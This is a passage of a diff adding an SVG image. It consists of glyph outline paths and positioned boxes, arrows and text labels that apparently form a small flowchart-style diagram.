16.71875 -17.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 7.4375 0 L 0.203125 -18.9375 L 2.875 -18.9375 L 8.875 -3 L 14.890625 -18.9375 L 17.546875 -18.9375 L 10.328125 0 Z M 7.4375 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M -0.046875 -18.9375 L 2.703125 -18.9375 L 7.953125 -11.140625 L 13.15625 -18.9375 L 15.90625 -18.9375 L 9.21875 -9.015625 L 9.21875 0 L 6.640625 0 L 6.640625 -9.015625 Z M -0.046875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 8.875 -16.40625 L 5.40625 -6.984375 L 12.359375 -6.984375 Z M 7.4375 -18.9375 L 10.328125 -18.9375 L 17.546875 0 L 14.890625 0 L 13.15625 -4.859375 L 4.625 -4.859375 L 2.90625 0 L 0.203125 0 Z M 7.4375 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 2.078125 -19.703125 L 4.109375 -19.703125 C 5.378906 -17.710938 6.328125 -15.757812 6.953125 -13.84375 C 7.585938 -11.9375 7.90625 -10.039062 7.90625 -8.15625 C 7.90625 -6.257812 7.585938 -4.351562 6.953125 -2.4375 C 6.328125 -0.519531 5.378906 1.429688 4.109375 3.421875 L 2.078125 3.421875 C 3.203125 1.484375 4.039062 -0.4375 4.59375 -2.34375 C 5.144531 -4.257812 5.421875 -6.195312 5.421875 -8.15625 C 5.421875 -10.101562 5.144531 -12.023438 4.59375 -13.921875 C 4.039062 -15.828125 3.203125 -17.753906 2.078125 -19.703125 Z M 2.078125 -19.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 12.640625 -7.09375 C 12.640625 -8.800781 12.285156 -10.144531 11.578125 -11.125 C 10.878906 -12.101562 9.910156 -12.59375 8.671875 -12.59375 C 7.441406 -12.59375 6.472656 -12.101562 5.765625 -11.125 C 5.054688 -10.144531 4.703125 -8.800781 4.703125 -7.09375 C 4.703125 -5.375 5.054688 -4.023438 5.765625 -3.046875 C 6.472656 -2.066406 7.441406 -1.578125 8.671875 -1.578125 C 9.910156 -1.578125 10.878906 -2.066406 11.578125 -3.046875 C 12.285156 -4.023438 12.640625 -5.375 12.640625 -7.09375 Z M 4.703125 -12.046875 C 5.191406 -12.890625 5.8125 -13.515625 6.5625 -13.921875 C 7.3125 -14.335938 8.207031 -14.546875 9.25 -14.546875 C 10.96875 -14.546875 12.363281 -13.859375 13.4375 -12.484375 C 14.519531 -11.117188 15.0625 -9.320312 15.0625 -7.09375 C 15.0625 -4.851562 14.519531 -3.046875 13.4375 -1.671875 C 12.363281 -0.304688 10.96875 0.375 9.25 0.375 C 8.207031 0.375 7.3125 0.171875 6.5625 -0.234375 C 5.8125 -0.648438 5.191406 -1.28125 4.703125 -2.125 L 4.703125 0 L 2.359375 0 L 2.359375 -19.734375 L 4.703125 -19.734375 Z M 4.703125 -12.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 2.453125 -14.203125 L 4.78125 -14.203125 L 4.78125 0.25 C 4.78125 2.0625 4.4375 3.375 3.75 4.1875 C 3.0625 5 1.953125 5.40625 0.421875 5.40625 L -0.46875 5.40625 L -0.46875 3.421875 L 0.15625 3.421875 C 1.039062 3.421875 1.644531 3.210938 1.96875 2.796875 C 2.289062 2.390625 2.453125 1.539062 2.453125 0.25 Z M 2.453125 -19.734375 L 4.78125 -19.734375 L 4.78125 -16.78125 L 2.453125 -16.78125 Z M 2.453125 -19.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 14.59375 -7.6875 L 14.59375 -6.546875 L 3.875 -6.546875 C 3.96875 -4.941406 4.445312 -3.71875 5.3125 -2.875 C 6.1875 -2.03125 7.394531 -1.609375 8.9375 -1.609375 C 9.832031 -1.609375 10.703125 -1.71875 11.546875 -1.9375 C 12.390625 -2.15625 13.222656 -2.484375 14.046875 -2.921875 L 14.046875 -0.71875 C 13.210938 -0.363281 12.351562 -0.09375 11.46875 0.09375 C 10.59375 0.28125 9.703125 0.375 8.796875 0.375 C 6.535156 0.375 4.742188 -0.285156 3.421875 -1.609375 C 2.097656 -2.929688 1.4375 -4.71875 1.4375 -6.96875 C 1.4375 -9.289062 2.0625 -11.132812 3.3125 -12.5 C 4.570312 -13.863281 6.265625 -14.546875 8.390625 -14.546875 C 10.304688 -14.546875 11.816406 -13.929688 12.921875 -12.703125 C 14.035156 -11.472656 14.59375 -9.800781 14.59375 -7.6875 Z M 12.265625 -8.375 C 12.242188 -9.644531 11.882812 -10.660156 11.1875 -11.421875 C 10.488281 -12.179688 9.566406 -12.5625 8.421875 -12.5625 C 7.117188 -12.5625 6.078125 -12.191406 5.296875 -11.453125 C 4.515625 -10.722656 4.0625 -9.691406 3.9375 -8.359375 Z M 12.265625 -8.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 12.671875 -13.65625 L 12.671875 -11.46875 C 12.003906 -11.832031 11.335938 -12.101562 10.671875 -12.28125 C 10.015625 -12.46875 9.347656 -12.5625 8.671875 -12.5625 C 7.160156 -12.5625 5.984375 -12.082031 5.140625 -11.125 C 4.304688 -10.164062 3.890625 -8.820312 3.890625 -7.09375 C 3.890625 -5.351562 4.304688 -4.003906 5.140625 -3.046875 C 5.984375 -2.085938 7.160156 -1.609375 8.671875 -1.609375 C 9.347656 -1.609375 10.015625 -1.695312 10.671875 -1.875 C 11.335938 -2.0625 12.003906 -2.335938 12.671875 -2.703125 L 12.671875 -0.546875 C 12.015625 -0.242188 11.335938 -0.015625 10.640625 0.140625 C 9.941406 0.296875 9.203125 0.375 8.421875 0.375 C 6.285156 0.375 4.585938 -0.296875 3.328125 -1.640625 C 2.066406 -2.992188 1.4375 -4.8125 1.4375 -7.09375 C 1.4375 -9.40625 2.070312 -11.222656 3.34375 -12.546875 C 4.613281 -13.878906 6.359375 -14.546875 8.578125 -14.546875 C 9.296875 -14.546875 9.992188 -14.46875 10.671875 -14.3125 C 11.359375 -14.164062 12.023438 -13.945312 12.671875 -13.65625 Z M 12.671875 -13.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-0">
+<path style="stroke:none;" d="M 0.90625 3.1875 L 0.90625 -12.734375 L 9.9375 -12.734375 L 9.9375 3.1875 Z M 1.90625 2.1875 L 8.921875 2.1875 L 8.921875 -11.71875 L 1.90625 -11.71875 Z M 1.90625 2.1875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-1">
+<path style="stroke:none;" d="M 10.15625 -5.34375 L 10.15625 -4.546875 L 2.6875 -4.546875 C 2.757812 -3.429688 3.097656 -2.582031 3.703125 -2 C 4.304688 -1.414062 5.144531 -1.125 6.21875 -1.125 C 6.84375 -1.125 7.445312 -1.195312 8.03125 -1.34375 C 8.613281 -1.5 9.191406 -1.726562 9.765625 -2.03125 L 9.765625 -0.5 C 9.191406 -0.25 8.597656 -0.0625 7.984375 0.0625 C 7.367188 0.1875 6.75 0.25 6.125 0.25 C 4.539062 0.25 3.289062 -0.207031 2.375 -1.125 C 1.457031 -2.039062 1 -3.28125 1 -4.84375 C 1 -6.457031 1.429688 -7.738281 2.296875 -8.6875 C 3.171875 -9.632812 4.351562 -10.109375 5.84375 -10.109375 C 7.164062 -10.109375 8.210938 -9.679688 8.984375 -8.828125 C 9.765625 -7.972656 10.15625 -6.8125 10.15625 -5.34375 Z M 8.53125 -5.828125 C 8.519531 -6.710938 8.269531 -7.414062 7.78125 -7.9375 C 7.300781 -8.46875 6.660156 -8.734375 5.859375 -8.734375 C 4.953125 -8.734375 4.222656 -8.476562 3.671875 -7.96875 C 3.128906 -7.457031 2.820312 -6.738281 2.75 -5.8125 Z M 8.53125 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-2">
+<path style="stroke:none;" d="M 9.90625 -5.96875 L 9.90625 0 L 8.296875 0 L 8.296875 -5.90625 C 8.296875 -6.84375 8.113281 -7.539062 7.75 -8 C 7.382812 -8.46875 6.835938 -8.703125 6.109375 -8.703125 C 5.222656 -8.703125 4.523438 -8.421875 4.015625 -7.859375 C 3.515625 -7.304688 3.265625 -6.546875 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.660156 -8.9375 4.117188 -9.378906 4.640625 -9.671875 C 5.171875 -9.960938 5.78125 -10.109375 6.46875 -10.109375 C 7.601562 -10.109375 8.457031 -9.757812 9.03125 -9.0625 C 9.613281 -8.363281 9.90625 -7.332031 9.90625 -5.96875 Z M 9.90625 -5.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-3">
+<path style="stroke:none;" d="M 8.8125 -9.5 L 8.8125 -7.984375 C 8.351562 -8.234375 7.890625 -8.421875 7.421875 -8.546875 C 6.960938 -8.671875 6.5 -8.734375 6.03125 -8.734375 C 4.976562 -8.734375 4.160156 -8.398438 3.578125 -7.734375 C 2.992188 -7.066406 2.703125 -6.132812 2.703125 -4.9375 C 2.703125 -3.726562 2.992188 -2.789062 3.578125 -2.125 C 4.160156 -1.457031 4.976562 -1.125 6.03125 -1.125 C 6.5 -1.125 6.960938 -1.1875 7.421875 -1.3125 C 7.890625 -1.4375 8.351562 -1.625 8.8125 -1.875 L 8.8125 -0.375 C 8.351562 -0.164062 7.878906 -0.0078125 7.390625 0.09375 C 6.910156 0.195312 6.398438 0.25 5.859375 0.25 C 4.367188 0.25 3.1875 -0.210938 2.3125 -1.140625 C 1.4375 -2.078125 1 -3.34375 1 -4.9375 C 1 -6.539062 1.441406 -7.800781 2.328125 -8.71875 C 3.210938 -9.644531 4.425781 -10.109375 5.96875 -10.109375 C 6.46875 -10.109375 6.953125 -10.054688 7.421875 -9.953125 C 7.898438 -9.859375 8.363281 -9.707031 8.8125 -9.5 Z M 8.8125 -9.5 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-4">
+<path style="stroke:none;" d="M 5.53125 -8.734375 C 4.65625 -8.734375 3.960938 -8.394531 3.453125 -7.71875 C 2.953125 -7.039062 2.703125 -6.113281 2.703125 -4.9375 C 2.703125 -3.75 2.953125 -2.816406 3.453125 -2.140625 C 3.960938 -1.460938 4.65625 -1.125 5.53125 -1.125 C 6.394531 -1.125 7.078125 -1.460938 7.578125 -2.140625 C 8.085938 -2.828125 8.34375 -3.757812 8.34375 -4.9375 C 8.34375 -6.101562 8.085938 -7.023438 7.578125 -7.703125 C 7.078125 -8.390625 6.394531 -8.734375 5.53125 -8.734375 Z M 5.53125 -10.109375 C 6.9375 -10.109375 8.039062 -9.648438 8.84375 -8.734375 C 9.65625 -7.816406 10.0625 -6.550781 10.0625 -4.9375 C 10.0625 -3.3125 9.65625 -2.039062 8.84375 -1.125 C 8.039062 -0.207031 6.9375 0.25 5.53125 0.25 C 4.113281 0.25 3.003906 -0.207031 2.203125 -1.125 C 1.398438 -2.039062 1 -3.3125 1 -4.9375 C 1 -6.550781 1.398438 -7.816406 2.203125 -8.734375 C 3.003906 -9.648438 4.113281 -10.109375 5.53125 -10.109375 Z M 5.53125 -10.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-5">
+<path style="stroke:none;" d="M 8.203125 -8.375 L 8.203125 -13.71875 L 9.828125 -13.71875 L 9.828125 0 L 8.203125 0 L 8.203125 -1.484375 C 7.859375 -0.890625 7.425781 -0.453125 6.90625 -0.171875 C 6.382812 0.109375 5.757812 0.25 5.03125 0.25 C 3.84375 0.25 2.875 -0.222656 2.125 -1.171875 C 1.375 -2.128906 1 -3.382812 1 -4.9375 C 1 -6.488281 1.375 -7.738281 2.125 -8.6875 C 2.875 -9.632812 3.84375 -10.109375 5.03125 -10.109375 C 5.757812 -10.109375 6.382812 -9.96875 6.90625 -9.6875 C 7.425781 -9.40625 7.859375 -8.96875 8.203125 -8.375 Z M 2.671875 -4.9375 C 2.671875 -3.738281 2.914062 -2.800781 3.40625 -2.125 C 3.894531 -1.445312 4.570312 -1.109375 5.4375 -1.109375 C 6.289062 -1.109375 6.960938 -1.445312 7.453125 -2.125 C 7.953125 -2.800781 8.203125 -3.738281 8.203125 -4.9375 C 8.203125 -6.125 7.953125 -7.054688 7.453125 -7.734375 C 6.960938 -8.421875 6.289062 -8.765625 5.4375 -8.765625 C 4.570312 -8.765625 3.894531 -8.421875 3.40625 -7.734375 C 2.914062 -7.054688 2.671875 -6.125 2.671875 -4.9375 Z M 2.671875 -4.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-6">
+<path style="stroke:none;" d="M 7.421875 -8.359375 C 7.242188 -8.460938 7.046875 -8.539062 6.828125 -8.59375 C 6.617188 -8.644531 6.382812 -8.671875 6.125 -8.671875 C 5.207031 -8.671875 4.5 -8.367188 4 -7.765625 C 3.507812 -7.171875 3.265625 -6.316406 3.265625 -5.203125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.609375 -8.945312 4.050781 -9.390625 4.59375 -9.671875 C 5.144531 -9.960938 5.8125 -10.109375 6.59375 -10.109375 C 6.707031 -10.109375 6.832031 -10.101562 6.96875 -10.09375 C 7.101562 -10.082031 7.253906 -10.0625 7.421875 -10.03125 Z M 7.421875 -8.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-7">
+<path style="stroke:none;" d="M 9.390625 -7.984375 C 9.796875 -8.710938 10.28125 -9.25 10.84375 -9.59375 C 11.40625 -9.9375 12.070312 -10.109375 12.84375 -10.109375 C 13.875 -10.109375 14.664062 -9.75 15.21875 -9.03125 C 15.78125 -8.3125 16.0625 -7.289062 16.0625 -5.96875 L 16.0625 0 L 14.421875 0 L 14.421875 -5.90625 C 14.421875 -6.851562 14.253906 -7.554688 13.921875 -8.015625 C 13.585938 -8.472656 13.078125 -8.703125 12.390625 -8.703125 C 11.546875 -8.703125 10.878906 -8.421875 10.390625 -7.859375 C 9.910156 -7.304688 9.671875 -6.546875 9.671875 -5.578125 L 9.671875 0 L 8.03125 0 L 8.03125 -5.90625 C 8.03125 -6.863281 7.863281 -7.566406 7.53125 -8.015625 C 7.195312 -8.472656 6.679688 -8.703125 5.984375 -8.703125 C 5.148438 -8.703125 4.488281 -8.421875 4 -7.859375 C 3.507812 -7.296875 3.265625 -6.535156 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.640625 -8.945312 4.082031 -9.390625 4.59375 -9.671875 C 5.113281 -9.960938 5.734375 -10.109375 6.453125 -10.109375 C 7.160156 -10.109375 7.765625 -9.925781 8.265625 -9.5625 C 8.773438 -9.195312 9.148438 -8.671875 9.390625 -7.984375 Z M 9.390625 -7.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-8">
+<path style="stroke:none;" d="M 6.1875 -4.96875 C 4.875 -4.96875 3.960938 -4.816406 3.453125 -4.515625 C 2.953125 -4.210938 2.703125 -3.703125 2.703125 -2.984375 C 2.703125 -2.398438 2.890625 -1.941406 3.265625 -1.609375 C 3.648438 -1.273438 4.171875 -1.109375 4.828125 -1.109375 C 5.722656 -1.109375 6.441406 -1.425781 6.984375 -2.0625 C 7.535156 -2.695312 7.8125 -3.546875 7.8125 -4.609375 L 7.8125 -4.96875 Z M 9.421875 -5.640625 L 9.421875 0 L 7.8125 0 L 7.8125 -1.5 C 7.4375 -0.894531 6.972656 -0.453125 6.421875 -0.171875 C 5.867188 0.109375 5.191406 0.25 4.390625 0.25 C 3.378906 0.25 2.570312 -0.03125 1.96875 -0.59375 C 1.375 -1.164062 1.078125 -1.925781 1.078125 -2.875 C 1.078125 -3.988281 1.445312 -4.828125 2.1875 -5.390625 C 2.9375 -5.953125 4.050781 -6.234375 5.53125 -6.234375 L 7.8125 -6.234375 L 7.8125 -6.390625 C 7.8125 -7.140625 7.5625 -7.71875 7.0625 -8.125 C 6.570312 -8.53125 5.882812 -8.734375 5 -8.734375 C 4.4375 -8.734375 3.882812 -8.664062 3.34375 -8.53125 C 2.8125 -8.394531 2.300781 -8.191406 1.8125 -7.921875 L 1.8125 -9.421875 C 2.40625 -9.648438 2.976562 -9.820312 3.53125 -9.9375 C 4.09375 -10.050781 4.640625 -10.109375 5.171875 -10.109375 C 6.597656 -10.109375 7.660156 -9.738281 8.359375 -9 C 9.066406 -8.257812 9.421875 -7.140625 9.421875 -5.640625 Z M 9.421875 -5.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-9">
+<path style="stroke:none;" d="M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-10">
+<path style="stroke:none;" d="M 1.703125 -9.875 L 3.328125 -9.875 L 3.328125 0 L 1.703125 0 Z M 1.703125 -13.71875 L 3.328125 -13.71875 L 3.328125 -11.671875 L 1.703125 -11.671875 Z M 1.703125 -13.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph2-11">
+<path style="stroke:none;" d="M 1 -9.875 L 8.703125 -9.875 L 8.703125 -8.390625 L 2.609375 -1.296875 L 8.703125 -1.296875 L 8.703125 0 L 0.78125 0 L 0.78125 -1.484375 L 6.875 -8.578125 L 1 -8.578125 Z M 1 -9.875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34785">
+<rect x="0" y="0" width="498" height="404" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.500067 21.6021 L 54.000067 21.6021 L 54.000067 41.6021 L 29.500067 41.6021 Z M 29.500067 21.6021 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.300067 30.09253 C 38.134247 30.09253 38.000067 30.226905 38.000067 30.39253 L 38.000067 32.79253 C 38.000067 32.95835 38.134247 33.09253 38.300067 33.09253 L 45.700067 33.09253 C 45.865692 33.09253 46.000067 32.95835 46.000067 32.79253 L 46.000067 30.39253 C 46.000067 30.226905 45.865692 30.09253 45.700067 30.09253 Z M 38.300067 30.09253 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="228.683594" y="207.986762"/>
+  <use xlink:href="#glyph0-2" x="242.572483" y="207.986762"/>
+  <use xlink:href="#glyph0-2" x="250.628038" y="207.986762"/>
+  <use xlink:href="#glyph0-3" x="258.961372" y="207.986762"/>
+  <use xlink:href="#glyph0-4" x="271.461372" y="207.986762"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 36.999952 C 31.384247 36.999952 31.250067 37.134327 31.250067 37.299952 L 31.250067 39.885303 C 31.250067 40.050928 31.384247 40.185303 31.550067 40.185303 L 52.450067 40.185303 C 52.615692 40.185303 52.750067 40.050928 52.750067 39.885303 L 52.750067 37.299952 C 52.750067 37.134327 52.615692 36.999952 52.450067 36.999952 Z M 31.550067 36.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="51.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-2" x="65.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-3" x="81.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-4" x="91.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-5" x="116.59809" y="349.702854"/>
+  <use xlink:href="#glyph1-6" x="132.431424" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="142.709201" y="349.702854"/>
+  <use xlink:href="#glyph1-8" x="151.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-9" x="161.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-10" x="168.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-11" x="185.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-12" x="205.764757" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="225.209201" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="233.542535" y="349.702854"/>
+  <use xlink:href="#glyph1-14" x="241.875868" y="349.702854"/>
+  <use xlink:href="#glyph1-15" x="259.653646" y="349.702854"/>
+  <use xlink:href="#glyph1-16" x="282.153646" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="296.59809" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="304.931424" y="349.702854"/>
+  <use xlink:href="#glyph1-17" x="313.264757" y="349.702854"/>
+  <use xlink:href="#glyph1-10" x="331.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-18" x="347.709201" y="349.702854"/>
+  <use xlink:href="#glyph1-13" x="365.486979" y="349.702854"/>
+  <use xlink:href="#glyph1-7" x="373.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-19" x="382.153646" y="349.702854"/>
+  <use xlink:href="#glyph1-20" x="396.042535" y="349.702854"/>
+  <use xlink:href="#glyph1-15" x="413.820313" y="349.702854"/>
+  <use xlink:href="#glyph1-16" x="436.320313" y="349.702854"/>
+  <use xlink:href="#glyph1-21" x="450.764757" y="349.702854"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 33.981397 L 41.018817 36.523975 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 33.981397 L 41.018817 33.481397 L 40.768817 33.981397 Z M 41.268817 33.981397 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-1" x="286.210938" y="254.496419"/>
+  <use xlink:href="#glyph2-2" x="297.322049" y="254.496419"/>
+  <use xlink:href="#glyph2-3" x="308.710938" y="254.496419"/>
+  <use xlink:href="#glyph2-4" x="318.710938" y="254.496419"/>
+  <use xlink:href="#glyph2-5" x="329.822049" y="254.496419"/>
+  <use xlink:href="#glyph2-1" x="341.210938" y="254.496419"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-5" x="167.328125" y="294.496419"/>
+  <use xlink:href="#glyph2-1" x="178.717014" y="294.496419"/>
+  <use xlink:href="#glyph2-3" x="189.828125" y="294.496419"/>
+  <use xlink:href="#glyph2-4" x="199.828125" y="294.496419"/>
+  <use xlink:href="#glyph2-5" x="210.939236" y="294.496419"/>
+  <use xlink:href="#glyph2-1" x="222.328125" y="294.496419"/>
+</g>
+<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.964325 27.157373 L 34.953778 36.597608 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.214325 27.157764 L 34.964911 26.657373 L 34.714325 27.157178 Z M 35.214325 27.157764 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.550067 22.999952 C 31.384247 22.999952 31.250067 23.134327 31.250067 23.299952 L 31.250067 25.885303 C 31.250067 26.050928 31.384247 26.185303 31.550067 26.185303 L 52.450067 26.185303 C 52.615692 26.185303 52.750067 26.050928 52.750067 25.885303 L 52.750067 23.299952 C 52.750067 23.134327 52.615692 22.999952 52.450067 22.999952 Z M 31.550067 22.999952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-11" x="213.683594" y="69.702854"/>
+  <use xlink:href="#glyph1-22" x="234.239149" y="69.702854"/>
+  <use xlink:href="#glyph1-23" x="250.628038" y="69.702854"/>
+  <use xlink:href="#glyph1-24" x="257.85026" y="69.702854"/>
+  <use xlink:href="#glyph1-25" x="273.961372" y="69.702854"/>
+  <use xlink:href="#glyph1-6" x="288.128038" y="69.702854"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-5" x="1" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="13.777778" y="208.525825"/>
+  <use xlink:href="#glyph0-7" x="26.277778" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="36.833333" y="208.525825"/>
+  <use xlink:href="#glyph0-2" x="49.333333" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="57.666667" y="208.525825"/>
+  <use xlink:href="#glyph0-3" x="63.222222" y="208.525825"/>
+  <use xlink:href="#glyph0-9" x="75.722222" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="81.277778" y="208.525825"/>
+  <use xlink:href="#glyph0-10" x="86.833333" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="97.388889" y="208.525825"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="404.378906" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="414.934462" y="208.525825"/>
+  <use xlink:href="#glyph0-2" x="427.434462" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="435.767795" y="208.525825"/>
+  <use xlink:href="#glyph0-3" x="441.323351" y="208.525825"/>
+  <use xlink:href="#glyph0-9" x="453.823351" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="459.378906" y="208.525825"/>
+  <use xlink:href="#glyph0-10" x="464.934462" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="475.490017" y="208.525825"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 26.545655 L 43.231317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 28.995655 L 43.231317 29.495655 L 43.481317 28.995655 Z M 42.981317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 27.107373 L 41.018817 29.649952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 27.107373 L 41.018817 26.607373 L 40.768817 27.107373 Z M 41.268817 27.107373 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-2" x="286.210938" y="116.762044"/>
+  <use xlink:href="#glyph2-4" x="297.599826" y="116.762044"/>
+  <use xlink:href="#glyph2-6" x="308.710938" y="116.762044"/>
+  <use xlink:href="#glyph2-7" x="315.93316" y="116.762044"/>
+  <use xlink:href="#glyph2-8" x="333.43316" y="116.762044"/>
+  <use xlink:href="#glyph2-9" x="344.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-10" x="349.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-11" x="354.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-1" x="363.988715" y="116.762044"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-5" x="121.929688" y="156.762044"/>
+  <use xlink:href="#glyph2-1" x="133.318576" y="156.762044"/>
+  <use xlink:href="#glyph2-2" x="144.429688" y="156.762044"/>
+  <use xlink:href="#glyph2-4" x="155.818576" y="156.762044"/>
+  <use xlink:href="#glyph2-6" x="166.929688" y="156.762044"/>
+  <use xlink:href="#glyph2-7" x="174.15191" y="156.762044"/>
+  <use xlink:href="#glyph2-8" x="191.65191" y="156.762044"/>
+  <use xlink:href="#glyph2-9" x="202.763021" y="156.762044"/>
+  <use xlink:href="#glyph2-10" x="207.763021" y="156.762044"/>
